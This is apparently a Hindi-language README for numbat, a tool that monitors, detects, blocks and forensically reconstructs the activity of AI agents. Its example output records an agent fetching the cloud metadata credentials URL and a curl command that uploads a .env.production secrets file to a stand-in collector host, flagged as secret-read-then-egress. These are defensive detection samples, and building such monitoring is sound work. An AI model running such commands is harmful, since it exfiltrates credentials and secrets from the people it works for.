numbat

AI एजेंट गतिविधि में एंडपॉइंट दृश्यता, स्थानीय पहचान, वैकल्पिक प्री-एक्शन ब्लॉकिंग, और फोरेंसिक पुनर्निर्माण के साथ।

numbat स्थानीय हुक और प्लगइन, OTLP/HTTP लॉग, और डिस्क पर स्थित सत्र आर्टिफैक्ट के माध्यम से समर्थित डेस्कटॉप, CLI, IDE, और गेटवे एजेंट का अवलोकन करता है। लाइव और विश्राम-अवस्था गतिविधि को एक इवेंट मॉडल में सामान्यीकृत किया जाता है और उसी CEL नियम इंजन द्वारा मूल्यांकित किया जाता है। पहचान स्थानीय रूप से चलती है; रिकॉर्ड stdout या स्थानीय फ़ाइल में लिखे जा सकते हैं और वैकल्पिक रूप से HTTP के माध्यम से वितरित किए जा सकते हैं।

कवरेज मैट्रिक्स प्रत्येक होस्ट और सतह के लिए आधिकारिक है। ब्लॉकिंग डिफ़ॉल्ट रूप से बंद है और समर्थित सिंक्रोनस प्री-एक्शन हुक तक सीमित है; प्रवर्तन गाइड देखें।

विशेषताएँ

• लाइव निगरानी हुक, प्लगइन, और OTLP/HTTP लॉग एक्सपोर्टर के माध्यम से।
• एंडपॉइंट-स्थानीय पहचान अंतर्निहित CEL नियम, बहु-चरण अनुक्रम नियम, और कस्टम YAML नियमों के साथ।
• ऑप्ट-इन ब्लॉकिंग समर्थित प्री-एक्शन हुक के माध्यम से। एनफोर्स मोड डिफ़ॉल्ट रूप से अक्षम है और केवल enforce: true के रूप में चिह्नित नियमों पर लागू होता है; सभी शिप किए गए नियम मॉनिटर-ओनली हैं।
• फोरेंसिक पुनर्निर्माण समर्थित डिस्क पर स्थित सत्र आर्टिफैक्ट से, बिना पूर्व numbat इंस्ट्रुमेंटेशन के।
• संस्करणबद्ध NDJSON रिकॉर्ड इवेंट, फाइंडिंग, प्रवर्तन निर्णय, संकेतक, और स्कैन सारांश के लिए। इवेंट और फाइंडिंग स्रोत संदर्भ बनाए रखते हैं; JSON Schemas वायर फॉर्मेट को परिभाषित करते हैं।
• रीड-ओनली आर्टिफैक्ट स्कैनिंग सीक्रेट रिडैक्शन के साथ। सामान्य रिकॉर्ड आउटपुट कभी भी पूर्ण कच्चा ट्रांसक्रिप्ट शामिल नहीं करता; केस बंडल में कच्ची साक्ष्य फ़ाइलें जोड़ना ऑप्ट-इन है।
• इन्वेंटरी और जाँच उपकरण रीड-ओनली एजेंट डिस्कवरी, प्रति-सत्र टाइमलाइन, और SHA-256 मैनिफेस्ट के साथ पोर्टेबल केस बंडल के लिए।
• सिंगल-बाइनरी वितरण macOS, Linux, और Windows के लिए, cgo के बिना बनाया गया।

त्वरित शुरुआत

इंस्टॉल करें

macOS, Linux, या Windows पर amd64 या arm64 के लिए एक रिलीज़ डाउनलोड करें। प्रत्येक रिलीज़ में SHA-256 चेकसम शामिल हैं। आप Go 1.26.6 या नए संस्करण के साथ भी इंस्टॉल कर सकते हैं:

go install github.com/perplexityai/numbat/cmd/numbat@latest

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

इन्वेंटरी और स्कैन

ये रीड-ओनली कमांड हुक इंस्टॉल नहीं करते या एजेंट कॉन्फ़िगरेशन नहीं बदलते:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

निगरानी और प्रवर्तन

किसी भी एजेंट के लिए लाइव निगरानी इंस्टॉल करें जिसमें लाइव-कैप्चर समर्थन हो; नीचे दिए गए कमांड Codex को एक ठोस उदाहरण के रूप में उपयोग करते हैं। हुक मॉनिटर-ओनली मोड में शुरू होते हैं। --emit all इवेंट, फाइंडिंग, संकेतक, और लागू प्रवर्तन निर्णयों को ~/.numbat/records.ndjson में लिखता है।

numbat hook install --agent codex --emit all
numbat hook status --agent codex

हुक ट्रस्ट: आवश्यकताएँ एजेंट और स्कोप के अनुसार भिन्न होती हैं। ऊपर दिए गए Codex यूज़र हुक के लिए, /hooks (CLI) या Settings > Hooks (ऐप) में इसकी वर्तमान परिभाषा की समीक्षा करें और उस पर भरोसा करें, जिसमें --enforce जैसे परिवर्तनों के बाद भी शामिल है। --managed के साथ इंस्टॉल किए गए Codex हुक पॉलिसी द्वारा विश्वसनीय होते हैं। hook status कॉन्फ़िगरेशन सत्यापित करता है, न कि निष्पादन या वितरण। अन्य एजेंट और स्कोप के लिए डिप्लॉयमेंट गाइड देखें।

सभी शिप किए गए नियम मॉनिटर-ओनली हैं। किसी पहचान को लागू करने के लिए, इसकी पूरी शिप की गई YAML को एक नियंत्रित ऑपरेटर डायरेक्टरी में कॉपी करें, वही id रखें, enforce: true जोड़ें, और इसका संस्करण बढ़ाएँ। समर्थित प्री-एक्शन हुक के लिए उस प्रभावी पॉलिसी को मान्य और इंस्टॉल करें:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

उदाहरण आउटपुट

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}